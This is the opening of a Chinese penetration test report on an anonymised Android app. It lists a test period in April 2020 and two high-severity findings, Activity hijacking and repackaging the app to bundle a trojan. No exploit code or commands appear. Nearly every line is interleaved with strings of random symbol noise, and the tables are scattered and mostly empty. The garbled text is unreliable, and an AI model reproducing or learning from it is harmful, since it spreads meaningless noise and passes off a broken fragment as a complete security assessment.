; \6 q E# v# Q% j: \. [; c y M
2 B2 L/ a: [5 \: e, E) w2 K# Q
1 K7 {4 S! a3 ^' F5 ~0 \) x$ ?
+ n0 G% U: m+ R4 D+ ?5 H- v
7 k/ N4 e V' ]5 p5 e; N8 ^# K0 }9 a; n: k5 P4 b0 ?+ r
8 \$ \$ U0 n% {# G, y
8 Q/ {' o+ x2 C5 u8 } " P5 Z! @* U5 Z9 q# c0 O
$ g: u5 W' @# s# |4 K% D
8 f* }) \5 Y G0 R" U2 i; Y$ I0 P
文档编号:
" E& Q/ S8 f: S1 o/ H2 A! X t, s: t7 l6 R, J9 |0 ~. C9 K
& N+ i+ l3 p% O+ V/ S( f& K, R' z8 Y3 X3 D7 R! d
4 k# n; z6 A, T- P6 d! e
8 z* Z/ {+ l. P* |: {7 I/ L
! L: d4 p* s% Z: a. Y
7 k; E2 I0 j+ p1 P
, ~2 g" o9 S: R4 x
& e0 A2 q; z% a/ z. V; a) ^9 w9 A5 {
4 A2 Z- X3 v1 H5 B. s) g6 _6 r G
% y) i) c1 ^+ d j/ t( y
. R! m% ~2 x. t* ~
; ^* b- k. Z* w6 D* d) Z( K% u0 _' O0 F
3 z) r/ U) e a! ?: m% u: P) @6 }7 z# L0 n7 Z7 @ d7 Y$ G
7 [* ?* q& d, i2 {
3 P- Z7 @* ^" H" P3 O
( z7 B7 j, L; _7 _
$ Z- G i$ U8 A2 e9 J: d. j - Q i& p7 M, ?7 _( }2 e/ Y
2 S- m) i& m% i" p1 W' N, @. x& O
: _) `6 k/ y; {* N0 Z9 X& P
4 _$ {& w& A4 U6 ^7 q& W+ l
1 i/ W' [8 i7 S9 T( F2 X/ V. u3 d
6 M: }- t" K0 u $ M Q* e3 {; {6 G; `" [( n
) x# \/ N2 }6 ^9 ~3 P( P4 v ( W5 f7 V% z" V0 q R
& B& R' z7 { z1 h' |
6 P. }! k. j+ |7 R; g3 q' N' |. ~8 D% t/ v f
; M! q1 U5 G/ F
8 A9 p" \8 a4 y9 s+ ~* z 某某某APP渗透测试
8 q: f e6 l- T8 {
7 I% k+ U: b8 @6 g* ^* s- h
, B* u0 C3 [3 G
& c# W6 t8 R3 A
2 _( m4 T+ Z' H5 M9 D% \- Q5 \2 `3 G" w3 K* R% ?
' k* I' E! W) n, b( V. C
. z" u! I* n5 b/ e
# r2 A" B2 \) q8 D, @ P$ G
6 s' G6 \. R* X. N7 [0 J 5 n# v1 |1 M; i
l2 l% t1 W! ~8 u# e4 T: I, w6 ` % m5 ~ z( C* Y
# ]; a" a F+ O/ [$ T1 G2 D
, ~0 n1 W M5 u8 ]4 S5 i8 o7 Z. }% b5 M4 t Z
% M5 i3 @0 s4 z8 X& g) b
9 v0 Y* ]. t1 Q$ y
! ]0 ^) E ?. @4 G, T6 P( B
* O2 L! H2 ~' Y
" u7 g$ y2 P0 O v) p1 d. B/ U# q' R' \+ z9 u
7 _- {" P% C" c* C2 `+ B F
9 D, j+ t" v3 K! M* r1 w. v% W+ C$ _
5 D# H6 \) f: g7 y% q9 r* o0 H$ C; v3 A s/ u8 T9 O
# O/ L: h/ p) r Y1 P8 b2 G8 v9 q
& g1 T' [4 \7 W( c : ]) W7 D& S* n9 s8 J
8 P! ?' N p# w2 f 技 术 报 告
4 b( Z* K) @) j4 R: A4 I* n- k; ~+ i; O: O, M. \8 t
3 u* P, h( I+ p, M) z7 C5 k
; U S9 a" H" C- a2 Z3 r( e" ^
1 r9 n; p& I K) Q$ f, n5 r) j
3 r) L9 j! @9 C$ S7 K: @ , F0 g ^: W9 I9 ?4 [8 Y
; n9 t/ `; _) v
! p. \( ]' b( U" R9 u/ S
5 L1 |/ @" N+ M
# k2 c" z' s; C. K! h! T5 A8 K( s
& S& X. @3 }7 n k- m$ v
3 e% k% R9 o( W' F$ I. H4 _4 D8 F: w: f! _5 T
9 D, l& U6 v, v& n7 y1 _& H# j! \0 Q) b! M9 f: d
* R' Z& M9 R. r1 T2 G6 k9 s
9 [- k# F; ~. f4 n% j 1 k+ s9 Y* x3 J) R8 q+ f) t
" v9 j% C& w8 W# c2 _6 y/ Q
9 X3 K. b# Q$ S8 X% P# q$ |6 k' I9 y% Y/ o
3 s6 {# B' R# R* E0 t4 \- a
: m3 c* Q/ n" o) c& _
: z0 X u. Y6 H9 O: [1 v4 U
- ?0 d, r c! l; r' a6 p
% c+ e( i* Q# L
+ U* R) C, B, q* _4 g8 u
2 q. {+ X. ~& _; N8 }& v2 V: U* N: r% r" n. G$ \& B+ w
" Y9 c. f- G9 D2 C5 t% C2 e' K
. t$ o+ i' @$ z! v$ y/ ?5 z e
# q" U) p+ T: k4 K$ E7 A1 [3 u- a( o3 D6 |& k
: p t0 Q9 O; K, V
. E& s3 ~! [# `0 I4 w
7 i6 A5 X W" D. A. w
2 D; w" @5 t6 A. G( U
+ y% z7 ]1 u( [! Q5 Z
* A$ i$ D( j' R# ^( z: F) m - Y- @# ]" {% x9 n2 ?) [& C
# p' u1 s; I8 r" Y' |; Y 0 D% ?' M8 A6 o( r8 w3 J+ [
7 D6 e$ }- X) }* O
' {# j4 ?9 n! j; \
. Q1 h- R; K3 C7 k- o! d
" _- O/ o! F+ w
0 i8 S7 m. o* ~
- ~7 `' z+ s3 |1 m/ J# t$ Z% B! o/ C- `$ D5 w, ]1 y+ m; g+ U1 d
d7 Y$ T/ ~8 [+ z2 X. d
I# d/ U' u' I 6 {, w4 c5 B$ {: q0 m# @( ^
( T1 m2 i9 d% \1 ~
5 p/ [ ^5 }) ~& S7 |5 E
0 b* e! }7 `7 s* X" k$ @$ V
) `* E( V ^5 z; Q' D8 [6 l4 I( q
$ _$ ?) D. _8 { C2 ^, U
, D" g: M+ { q' p: i L- Q
: t, V" Y! c. B! a# c2 m9 U& X
1 G5 Z- k' q* j$ a+ I% M2 ?1 L& l8 a& Y
+ t$ K# R3 t7 D' F* E
6 O% Z# g6 M% P1 ~* x# H/ K X
P" ^2 X9 r$ C' ~6 f8 w
, k7 U& ?: n$ ]: a9 }# q) h
+ Q7 ^" a1 V6 d6 M. @4 D* D4 }7 k; W% I2 F' `0 f4 @1 Q
! @+ M/ m$ ]9 [; I$ R# L
/ V, _% \1 Q$ M
1 ?: p) ~& ?7 f; {* n
* `* i+ b( ?/ n
5 \2 O$ k$ m' q, |0 z1 p0 L5 n' K. N
) x, T0 E3 C- Q& i$ n7 Y& k: m
H9 n4 p/ @8 J8 T ^4 C l H+ ? e! p2 P
) x! v2 _1 Y7 w. F+ ^ m8 x
% j2 e Y# {4 Q5 o2 h2 Y C/ F
+ u& i" O# ]* _9 v( O
! t6 c3 I% C# G- B3 v- v! o3 C! W3 Y8 D) U2 a0 d
* j' j* P, V/ z6 ?; F$ o8 ?
; ? p _, U% O/ Y2 @& s4 r
! \' ?; C0 z% T- d. F/ I v: W7 Y0 {8 ?8 ?" F* \
/ C' V' |0 S8 L H
6 ]! B: W7 [/ R4 t3 i- W3 t
1 s( |5 C, Z3 u( N ^: U, ^6 |& w. i5 J( C- p/ d$ e. c2 z
7 |+ R+ Q7 ?$ D5 H+ _7 U
/ i3 n% O7 L3 @* V7 ]7 s
7 J: M6 X1 C+ X- T9 g& W4 ~
( m; v5 G% I9 ?2 s
9 l4 a# G! E+ ~/ @7 p1 U
& Y+ L5 V0 z4 _, Z4 m. z
$ C ]2 _% R. J! M& n* ]7 B4 v5 S$ j/ w
M( A1 ^' v+ b% F, A4 h- N7 C F7 o- |0 o/ @
- n# ~8 `! C$ I; s2 O0 L1 O5 Q9 j$ P
3 t2 V/ d( [2 ]" @& ] e
& u7 X: T: i1 X( ^4 _" q- O
8 i2 C" w! g1 j4 [- @" q
: O5 H- |" g2 x b. F+ g& B 3 h) L. r: T. `9 I$ p+ J
8 B2 y( h0 U f% M# h# K' F7 c
9 N) L8 C" J2 q6 Z h0 F
. Z5 A9 _$ x4 k7 f- `: u0 b
. u8 y2 ^* | u, M* }' r* D8 P% z) b3 ]
: g. u$ x2 l$ i: o( f- m W) H# p! f* ^7 {' I$ F! v
二〇二〇年 * i1 T0 G! X4 { L) ], ~4 t$ s
' U I6 e: _4 P+ B4 ]- `. Q3 n
/ N. N& t5 x3 Q& m$ O; O8 l- _5 ~. R) a: u r- e; W
) W6 R, D0 u0 E9 ^4 m# |
8 c7 {; ~+ l2 X% J
0 n# ^; D) u! j% H6 o# c
& x/ T: J! c X* {
/ \: i4 d B3 J/ y& D* O* _2 b+ s$ l
0 ]# _; h& Y$ t3 m2 o4 L2 x j
i4 M! H" P1 |/ ]( g) _) n
7 U7 M6 Q9 H) T; s4 }/ n
: |3 D: H9 G7 D" U4 j) u
2 X5 r" x) a6 z3 {* d0 s
# J& W. Q* N/ [- x: ?3 k- B
# }+ b& W4 }) Z9 z5 N
+ b/ P* b1 Z4 W; L
: b2 T% }+ q8 i+ u9 f' O S" B $ L5 {7 ~3 k# K: v9 t3 w: u$ a
5 J1 g0 b3 ~$ c2 _; ~
S3 A- F i2 ~1 p m/ j& l( T6 A' M9 K6 t+ F
目 录 2 S0 a9 M& b2 u; l3 I/ c* X
% S y+ H+ G1 b% Y2 u5 P" L
' d/ ]! s: P3 w3 a' G: ?% N
0 t' h: \# o# q 1 J0 U2 e1 i( y( F. Q& O" ^& ^
. j* n' U$ ~$ \- H( C; P
; }) {# y8 u, v* W- h* L1 B; E0 Z
8 _% [ Y3 y( T ' I! N8 r6 |8 a
3 ^, o W/ L) t$ x4 F3 ^3 E2 u
& G1 a) J. ~2 Y; P0 P) }+ n2 [7 f$ c
& b) Z3 Z) t. O4 M- Z. Z
6 Z$ S( n9 h1 J3 V6 c, U! T' Y& H! P; `: \% ~
1 概述... 3 $ V9 s! a Y9 A- K- M. r
+ N% g5 o6 w4 Q9 I' G' J
: \: X" s" ?; S# `$ G: i2 F
. J! f2 C( i( P & r8 [8 z; f& c
! x: ]; D+ Z% ` 1.2测试时间... 3 % |- h) ~- j g4 d1 G" f4 A
! E3 C4 w: d, F6 L! Y- a
b, O7 I% P4 b6 q0 J7 i0 z' z$ z1 ~" N, G _% d5 x
& i C8 `$ U' @% q- i4 E9 C3 d
1 s4 o* Z1 ~: x9 v 1.3测试对象... 3 ! F& M4 H1 a3 d+ `5 c/ a
5 t$ W' ~ l* O7 Q
+ f, Z% M) j+ `3 l9 c4 n/ s m* `- j/ I8 u5 i! }# [/ H7 K) T
. d6 b0 n! Q6 P" R1 T
! k5 s1 O- D5 V3 Z8 {& c5 \0 a
1.4测试结果... 3
6 ~3 T* E$ [- k5 A0 o( l- v5 z8 S. z$ L e0 K0 Q1 T
" c4 q" Z2 ], |
9 j5 I9 N: P1 d0 u/ j9 j; M
2 j s% @% N1 }( A% q" A, x M! o
" Y6 {* N8 ^8 B s8 N 2 检测结果... 4 $ p9 Z' j& t5 Y, }6 y
1 p0 {$ A6 e7 q$ g7 I
' t& w# C5 r1 z, V5 G3 O
) K/ |" K2 a8 H# O9 k
0 c" P* k4 f, X* W
3 I) ]2 x1 r6 J 2.1 某某某... 4
( u7 ^9 L; ^/ I I; [ \
' ]% l9 n7 ~: ?
7 g4 A& z; @; D! p+ @- {' V! l
5 X. }6 h9 g/ G
+ |4 v" {3 Y% o+ I3 d. i& `3 ]( c/ s; r" D) o
2.1.1检测目标... 4
% X" ]$ ?! {$ O6 Z9 ^: V; g8 O7 p& \' K/ Q8 x( D, h6 R9 m
6 M& w w1 m7 k x- E& h- q; [+ P T* q& I$ m9 O9 V
9 W- n0 ~+ O4 T- G1 G1 _' C# a9 f
, u! H* h2 p: u3 ?
2.1.2检测结果... 4 0 |; `, [' z+ s# B8 u
& M i# h7 {7 x' r# b3 e: G R( R0 W
5 C1 [% c. l' ?" d+ f$ g) [% Y+ W7 a2 c
+ u% B3 b8 f; p; I
& B; J. q5 K' ?2 q. g 2.1.2.1. 4 " P4 a# d$ p0 a9 A# z N
, e3 ]% [4 ~8 S' D& h j* [7 X# _
" n: C; @$ {1 e, z
2 ]: z8 V5 a, [, ~
! P0 {7 }& l! J6 G% t# g+ }
* Q# y; `9 I# W) ]" N3 s( o% Z 2.1.2.2. 6 & Z2 s# j+ n4 |% I- _
. K& N7 m$ m. c8 o
( V% [5 c, i l- b9 j
9 ~: h6 Y, \" f+ f$ P f0 ` : B: [, h+ w& O! c
+ x5 \' r3 F3 h7 ~; R; s7 l5 e
* m$ b# l/ a* b) [( M% J
& K! h9 T" z) ^8 u
( |) `3 }6 @/ v6 q7 y, F
5 f6 f8 g' ~% J& f2 U7 v) K: l& H$ J
/ E' ^3 S4 r* S" Z: ?
! a8 u9 D) v3 e4 b& h% @' O; D* V3 K7 T( ^
# r7 x e5 a, E, c7 s; L9 I1 S, y' o# l! C [' `$ _
+ O8 g C/ D# N- M. z
S( F: z/ K$ L5 {6 M3 Z, T , u4 c2 Q) [# S/ X2 b
/ u6 k3 B3 G' g1 R 1 概述 9 p. W, {& C: w) {( x) b
1 R5 ]2 G7 d2 i' x4 o( s
- {/ d. D- ^0 G$ q# U
; V# [7 |% m5 f5 a! t! I
( [* y/ S1 q% X: [+ j+ Y0 Q
) R) _3 c( W1 y9 g
1.2测试时间
. L% k4 j& Z8 w! t( u
: D0 S( f7 w9 m/ e1 r% p
( A; B9 E. K A O& H: U$ r; D3 N
% ~, V& H2 n+ X! j# E/ L% y
0 X u6 i: b5 u" t! e; s3 O6 t, P/ Z2 X
9 n" A3 j- x6 t6 R, Y" w7 ~' H/ M$ e: [5 x: G
. j* d# E, `' |, [. s: d% {. K
* j2 X4 A! }5 c Y6 \. e5 c4 T0 }1 Q) B! H: [
6 \1 B2 D4 u3 r' y! n2 p8 a( S6 |' Y: f; n6 z
渗透测试时间 + I, M/ j, b9 c( X" N
; _+ G) y0 _4 Y$ L 8 }* U) i9 o( {5 R
- e. u8 F& q& n | $ R7 o) k3 i: F8 i3 w; @ N
* s$ A: T7 A( V3 A
$ E* |6 |( c' N, g# p. p/ }
8 x, v# v% ^" j: U8 |
2 ^* ^. r+ `1 }9 E- G
1 R, _- [/ _7 L- ` % g; }' d" J8 J7 j
: Q4 ^/ L% }5 n! c/ M& |/ g
( ?% v) F' h6 ~; H$ B
2 K! j. D) M) ^9 L- L6 H9 G4 C# S0 U 起始时间 * S$ o$ S/ ~ b J$ I* i
6 F( F# G5 o" K- c5 {* J
. k; A4 F) E$ O+ t* z
$ J# ~6 @9 i8 z7 s5 }' Z | ) R1 w% Y j# \
: @# P7 G% s% [( g" A& g6 U/ H - Q9 [0 t% f3 q/ Y3 o M8 s2 b
4 |% Q" p& [* K2 X, u$ r- D1 I" o: _
' Y" U# g' m% v }7 q' Q+ n! [( |7 H( T5 B" R- Q+ H G2 O- r
2020年4月6日 ' k+ b( P5 L* X! y
) F7 ~* s" k. v( J! B3 ^
0 v' ?2 j1 o1 y+ N0 p+ [: p& \4 b: z
* H" ]( u3 [7 Q# _5 p/ A* `
| 5 ?0 r, o7 \. ~0 x- y5 z5 \
3 W$ Y: Q, n% s
' o4 v( \. x3 d! E+ z# A6 D% t+ E. C; L; X/ L
5 I+ c; I2 m' m" E/ s
. {# i, L9 y% l
+ {) \" ?: i$ H% F7 W
S8 t& @5 z" U2 W0 |! s: X % N- D6 r/ Z8 o2 e. F7 d
( p2 u; Q4 m% q) Y8 V
结束时间 O" H( I3 _5 [$ T9 H8 I. B- a
% |4 J7 b- q o t7 W4 q
7 Z E4 o1 T- T3 g
7 x7 x* R9 P/ `+ ~
| 1 B/ j3 p+ Y# ]! d( V1 \
4 l/ a* _) `0 Q7 |- f* W
( V0 Y, D( Q5 ?4 t$ H2 E' S+ L1 T' E" r
6 X: @! n |5 T" z
( |' s& @! {0 E+ B- [- R1 j" E 2020年4月9日
5 U2 e- z$ c5 m- V% F- k/ N) }; m* w' N8 j) |" t! j: ]
$ I2 f0 `' f4 s) U! s2 T
5 [$ M8 k( }. A* Z |
8 Z. g% ?" `' p0 @! O- u
. i. P/ Z! e* g: k9 j* @
/ p: g! v3 }! l4 P# S' s
% X: b: H2 w) ~% ]* u" V
; I% G9 N! |8 N1 W* V( K; p" z7 u
: A' S6 _' @7 H! l8 M) v {0 i. z
e4 n6 L$ ~2 F- y3 t9 ]8 i: a
8 T" @' S1 l5 @' n* P
! L/ ?2 o: K, l/ ^* F, v
8 _" x$ T0 S& w) O 1.3测试对象 " W8 P- O* B @, o
/ v6 Y( | F& p+ n0 x7 a
" ?6 l7 ~7 w- r! Q+ _, x9 J9 X8 u" F8 v0 m6 Q
+ k2 N2 m" n. }8 d2 R
. H5 @) j; q9 @
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ; U9 `' R# F' [+ |
9 a. O% b* v6 Z! I8 \8 R
/ B, b$ D* o; y' P- i: t6 N
" y: S* m5 Q! ^% h! \7 \6 v, F
) y* E- x2 `( w, l8 Z6 ?
- f5 x4 c8 n* f' w 表1-1 检测对象
& R, U0 [; y' G8 K$ r
6 r* p4 A% u4 i9 M- Y
1 Q6 C7 g) ?) |* y- }1 `1 w7 _ I
Y* I* a6 J5 y: ]* l( |+ I' H3 b; T3 I. ~ ( O# l. k9 z+ d- B0 @4 p$ r
" C1 k) C0 r( x8 U, K7 o
. @& [' D5 j( B
- W" O: B; j1 v. P. `# @
7 f7 _+ A; |* }" D; M; h
2 P8 e0 t# j( A7 q3 l9 S ) [( c9 D, u: @/ x: u1 n
/ H; S" s' \0 o. Y* o8 a& [& A
+ {1 S) h- B' M+ s+ H. o: V- |' I7 ~) L+ Z- l5 B* ?3 K n, b# N
序号
; E' t1 N0 m1 j( M6 G
" N4 }: E* ?# Z2 s0 P% c q
4 _8 ]3 c; `- s+ ~
$ k- z \& x- n+ H, ?! d% l |
& c9 V w' B X% ]" H0 o& O# u8 G' {/ U. K- k* j. x2 L
9 K! H5 D8 G2 H X$ g& F6 Y
8 }9 z; j% E3 N/ L* L $ V1 M9 T* m4 r4 x
+ H5 Y1 H" D$ b: O- u 测试对象
8 o2 f* b/ Q1 ^* y" k! V, R( l5 R" b a$ V9 t
# ^8 |& S$ I7 |
3 q: i0 B3 X7 k3 p2 L
| & X) |7 m# |% S7 z# h
9 Z, P- d) p2 X) M. T( ^, Q( Q * l8 r7 R" B& ]! O: Q. O
! Q0 ?* V1 Z6 D6 r/ k
6 ~/ l* K) S% X4 ?
/ O5 O* f& W) z9 j S 测试地址 6 F% V* a- o: W! w: F" X, y) k" j/ i
( F6 ]" c! M' h- v
. t- P, G# o2 q8 Z b6 R, m! S$ [- c7 T. S
| ' |. q1 M& N7 r8 O" z) `
! q5 O6 @7 r& z+ T
! ?6 I; A" z3 j7 W j* o+ ^( P
- J, d4 F& l" z' n$ V
# J/ w: D" H- v) |& G; W3 _$ [6 E
7 h+ D* H7 f( [ 安全漏洞 4 s$ i2 a/ L) w8 h
5 t( N( |1 L5 q( y; t4 ^# e7 t
1 A6 f9 Q! L& I+ K0 |# t2 X# T
6 z2 P6 E4 t7 H( t5 g* q0 D# z | ) T A9 N9 b I" _/ S! F( _$ y
7 f' _% ]* e. O, g0 D# O- J
O9 q; ]# B( U
8 U' F7 k2 r ^, B
0 C% t3 U6 @5 D8 W
+ {7 {. x9 w" r
$ ^& d3 y8 X# l6 v
1 Q1 c% q0 a2 k/ D, e) N( Q2 U
$ X5 d1 Y, Y, ?% G, s/ Y3 a' X* {" P! x0 R3 `( v
1 8 p8 v. r6 E% @( |9 Z
3 M1 a- N9 D2 K0 ~
( z7 S9 _0 b% l0 s) R& S: k, P$ K& h3 k2 T# S
| 0 F( f5 t6 g; ]9 `! U- W
, I. f; R2 q4 M) W( _. h
0 @5 b% A) o6 W$ Z: j1 Z) z' z' m& j0 J$ a' ~& I
: t3 b5 G' d$ b( G' Z
j# u$ L, T& Q& w- Z" p$ L/ g 某某某安卓APP
# n7 t8 j# n# }8 B
% E& ~+ Q: A( o6 ?9 X 2 j9 \ a: h- g' h: \9 {6 _: N7 T
9 h2 X+ n3 C6 E4 T
|
7 |0 ?4 E( h2 u: g- a: l* o2 {5 V$ R/ p Y8 |
$ y; U' O+ Y* G, `3 i2 |3 Z9 k
. Y6 b+ x2 U* z5 c. s
2 ?1 _* j; i7 P0 X1 j
+ g- O+ h, \7 J0 Y' Y# `. F & W( D3 [& X5 ?% f5 U# q8 P7 f2 ~
5 J: x; T" t6 G* _
0 ]: S4 ^1 C+ n" e1 p$ E- a/ h0 X. W
|
: Y8 ^7 ~2 j0 z0 V( W
) I; X* R" u5 u ) i* d& W+ g- _
/ t- P3 n) O2 G1 k( r3 n * e3 c" x# W K- @. z! `
. R' l. _. S) F# z _9 { 2
# [# K% D t, ]5 b8 ~: m+ Y6 |2 U7 a* w5 g* w
" ~9 g# d# j2 h. p
. [7 k1 D+ E6 Z' j' D
| 8 J b6 A% h; {. b
P* F* l9 {1 x" j
9 l2 A) s' p( Z& r# g
+ c/ T$ L, n& }) O4 N U! K 3 q1 B/ Q# W4 G- S* I& Y
3 t+ N( H" P& _7 _- `
$ |$ C( F# M* o' W5 w8 G
0 o g' ^+ [6 a7 A0 Y1 x
+ P4 r- w& M7 B: k, G
2 n' w. ~" g8 A |3 G* f 1.4测试结果 " ?+ f+ _2 q" e
1 e1 T/ O" V7 v; ]( ~' O ^& n
* W6 L$ k+ \' ^4 I+ U6 F+ f1 p1 ^
, g1 p* v2 B% m; f- t) z2 \
( s# G4 R" Y- \5 N5 E7 o4 X3 C. b' r2 T2 I9 X( K0 b
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ( ?( M& @7 }- g4 m
2 L m6 q B4 e
( [" B% A j* e. \+ P8 a7 ~1 ^& c: u# s% t6 ^
; Q- G n; c& L6 T e6 e( k' w. b' }% |, E
- d+ r7 g1 U7 ~" r
* m4 E8 n% D; T1 o* ~( O7 P
G) \/ B+ U: O2 r' _9 x0 t5 X/ h8 r" w
% F# b/ ?4 l$ s+ G9 q9 G1 t9 F. ]4 I
) U6 ]2 T; {2 Y+ O; n 3 F, g+ P. u& s' A6 I }6 F
5 Q- D+ H6 N. U; n6 s
* L+ P# M: ?3 }9 g: T$ N
! O" `* W" `1 P& D7 X $ h$ {$ h) o2 J. _( F; x
! G- D8 k9 x# S' A
& k+ j( T" g1 B# o" c
" {. Z$ b: B2 E4 s+ c
M, I# ]1 K6 D3 y% R
\$ S) g f$ f" t 序号 * j2 d+ M+ ?" A5 b7 X* ~, E
0 D: a6 B3 z; o' M! ~( O
+ L: n4 ~6 S8 D6 C3 q. \& f
5 T8 g% L3 G) |3 C! d/ |2 D | 0 t# o: Q- L2 r& u
( p# l% z8 i7 L |) g
# l; T. i/ s9 a/ M; g0 q9 j, q! Z- ]6 L3 L$ C6 |4 ~2 J
5 U' F, s4 v" Z4 E, F
6 t" O6 M' C N4 j7 u0 v$ ~ 系统名称 / O% L2 W/ `) A) F" D' l# t
7 o; }6 n J6 F3 M
8 y) N( }/ G$ ^ b6 I* |" v# Q6 _; |+ ] v
| 4 s* I2 d2 N1 I3 U8 O* e
2 C. c& u5 N9 {9 M8 X5 W# c
1 [" k- o2 B+ l% [' d
6 a/ q. J& K& V9 L/ h+ @6 B5 C 9 ~2 w) q( Z) [% L
* Y! t4 s% n+ c. ~; B 漏洞名称 ' i( n d- K+ t! [0 Z
$ c$ @2 V6 m% H# i$ u * I9 D) d9 s% q7 P& ]$ i5 ]1 Y
, ?7 l p2 |! J* m |
( Z! s' u, a% [- c3 l; f6 D2 {
$ J N$ J$ J3 u" w- s# ^ 9 j5 G8 ^9 t! I$ X$ @, h/ ^- S/ b
1 o# h, A5 C& s3 o1 W% r + G% o, q! o) Z& |) T3 r
) i) P3 v6 p' X5 C 漏洞危害
. `7 X0 _+ S1 {( I( T/ {& x/ y& x5 ?6 r
. a. X, H- O: q; n- V
7 ~. c5 n6 u Z7 O |
' t/ ~3 L- Q, T; ^' b! y0 x& {" D, h" M8 v8 k6 y
- X9 h( N- }8 c9 D+ x+ y# X- X. M/ V1 p: S
3 }6 s( c8 A; H, W0 C
5 H( y# j% V# z" I) w- v% v# | h 修复结果
( K& i& t. `" ~. p
7 U1 S! J3 O8 l/ E 4 r- Z$ k+ }$ W' V9 b. o1 A5 G
- M0 a5 c5 y5 n0 w+ ~
| : ]1 G* K9 ^, T1 {
) Y# G: Q3 M! O' V# D
. N* n- ]" o) ?: r! P0 a1 f) q% \4 V2 G, K
9 n" H4 m1 Q* q' ^: C) n2 G
; c( x5 r0 K! o$ `
, B1 j: H M- x. @% J' o: f8 p
" M+ w0 O1 |) ]2 J
* A3 e' a7 r9 m, C! C& Z! ^; j
* P, `7 k) N' l3 D$ J0 F
4 O' n m" ^1 B" @- L9 O9 T" \2 J 1
$ { g5 n3 D |
) K4 X; o: P' c4 l
; N& S. c5 \: C6 C. m( _; k% r. l! d/ @% X
| 6 X. k" K* I9 @
/ h/ v/ d1 r% x- z6 O) b
# K5 [6 M% w* j) U7 u- z! A! H7 s% s! Y* g( T
7 g# q2 N) P Q) a* H i g+ f
8 a. L: u# Z- ^' G+ J 某某某某某某APP
: g+ Y1 \& w# w
+ t) ~: }; W* x# ~0 H6 O+ B. {, m6 i4 ]) r4 ] : w! }5 u" E8 ~
0 y3 n$ L2 t# ?$ z
|
. A# `# Z! I. [# ^& `! }1 z7 o. U
, q2 [' u0 n! V! p, i
) y7 z4 b8 j! `' e4 G- m 3 K; I3 T' F! h1 D/ g, K7 F" Z
' {# D+ p2 n! w- t' w0 E Activity 劫持 $ x( B4 @9 q# F3 c% s5 q
! [, W/ Y |2 q! m8 Z* h& i* E
* q* P' ? i, Z8 ?
! F# _8 x6 w2 ~
9 m8 U; h% E1 J9 E4 Q$ P
& F2 O( q2 ]. w4 Z
% M" d7 |( Q: q8 Y2 ]9 g9 Z* f$ D- Q! `- J" L
& @+ c! z$ H6 ^9 b! q6 R# N* J2 }; M# t5 P' Z8 F
| ! R$ @% F6 z; {3 P Y4 e6 q$ {2 Y
5 O" Y% A/ X. [& z : j* Z q5 J2 d4 x# }) j
! r1 a+ K' M; X, }5 O% c& @
& s- P$ F: ~( |0 l! ?4 u
3 t4 c& _+ t1 D) C' I- ]# x# ` 高 & m# c# p" T/ o& P( b
/ y0 o9 E$ A+ M$ H% ^2 c; K
( q' D `% M0 ~
/ n; P5 j2 ?8 Y: q' @# ?
| # m8 O6 ?# M9 b7 R0 g
3 C( @* c" v1 H/ H! y % l' e( ]7 I& e& i5 h
# s. J) X( V7 b# d / w1 N5 P7 x/ p5 V$ {1 x
3 l: v1 e% e) Y5 [: o" R 2 ]3 J9 J0 W' A# {1 r& U: n9 v
) d( l7 [. h9 f+ W, v m3 z. S 3 X/ j! [; ~, T7 {! Y
1 i+ j, V6 A1 q | ) R$ {2 o* w/ e8 x; A3 L( h) z
7 W7 Z& Z; N0 T4 Z, [
: g5 P! N. h+ q
2 u/ K7 |. B4 _ }2 y! `5 P2 t% ~
$ _' K h, K4 c" }5 u4 W) t
( i9 V+ P; {( W2 R- p, D
( o0 `: q3 J% G0 q( _
* w0 l6 h B) X; K* V2 R. k
3 g; p. F ?: \% g" c5 o; @) @$ Y( K' O7 V2 Y
2
: z7 M2 X: |1 G9 T/ U; x* D2 I) V9 J' V1 v8 D5 C, i
' s2 k- S, E4 y3 f- R6 x5 [
8 w. c+ n W; g* \$ f/ M9 E" O |
7 h# P, \! r9 Q$ Q
) ^0 @0 L9 Z/ R& i
0 n. S4 q; p& i( V/ O
( ~) Q; E- B& f: l: H
8 j5 p2 W6 \6 G: A$ h- K8 X9 o
, e: v5 u) b7 d# Q) q& {* K+ i 某某某某某某APP
" E2 h0 }6 M$ n: |1 u8 n8 v* d D6 P0 Y
* g$ Q( P9 V0 ?/ U
3 u( H- M' n. `* e% X* V& l | 0 H3 g" N9 b8 C1 L" S! H& P) S
; F" b, @0 w9 D9 x1 V ! `# w; ]; v. M2 r5 P0 T- ~/ R
: J1 U# i5 y: {
6 }# b$ q( P# L- Q5 q1 B8 J# ~+ Z) ~; `0 k+ c z1 O
反编译二次打包捆绑木马、篡改APP代码 % B- e6 O3 C- S: ~
h3 k4 U+ u, Q* t4 f& M6 q* [ ' M( F5 g/ N2 p8 @0 Z
7 |8 e! L7 c2 I, t1 i) {/ M
|
* Z4 U0 {8 g8 v' N6 X! P+ P" n# V7 Q0 U* F9 p
6 S' B) b1 L# w' k" O% g
- D) u, l j9 M1 j" }" c7 F$ Q 9 k0 X0 v0 E* @
, q4 B, d. r$ V) V' s2 e 高
# ]5 `- ~; w9 j% |8 }. P: N) @% j4 h8 [6 X) L+ e) r
: [' V8 t, `; A2 C- e7 Y& A
! n2 {/ V( U/ O2 a' G9 E1 J | ; M/ q- @: h+ |; \0 V& s" v
& z) s, }8 z6 M5 F/ E
; E- a1 g0 u* c) E. n
6 ?. J W+ X( n$ @/ s6 ~ ' `% y0 b- J0 \' Z
. { X# y/ n, Z8 L( s 1 P- t0 s3 z& `
- f4 _7 ~4 O8 n$ U9 w d ' Q3 j5 D- o' x/ a
7 V s1 U- k A9 F |
2 h8 r- z+ q: h
) n8 d8 k, Q3 W# ?- S' z- a6 f0 p0 L
: r3 ~7 U; O. ^
. [: q; `9 S& O+ ? q1 e8 E( Z % S7 X5 C1 A1 b! o* u
/ l/ S k4 K3 y1 i3 O5 r
0 {0 v. Q, `5 e6 ]. J! Y
3 ~) A' z$ K! a+ q
1 r6 ]; z% J( x/ t& p3 a2 D' [! d0 c( ^; x
6 o' h: {) j( i. O9 r
+ R* R+ s, Q, Y) k9 `6 r* i
' U' ~" h/ ^( J! }8 A, W* z
! Z$ @* u$ h0 Y5 j4 h& |, ^
: W0 L, U& {+ U$ C1 r
3 d; H) A& X2 y3 F4 U. g
* q3 l) |8 M/ D6 i
6 y7 y! }5 x9 y3 t 表1-2 测试结果
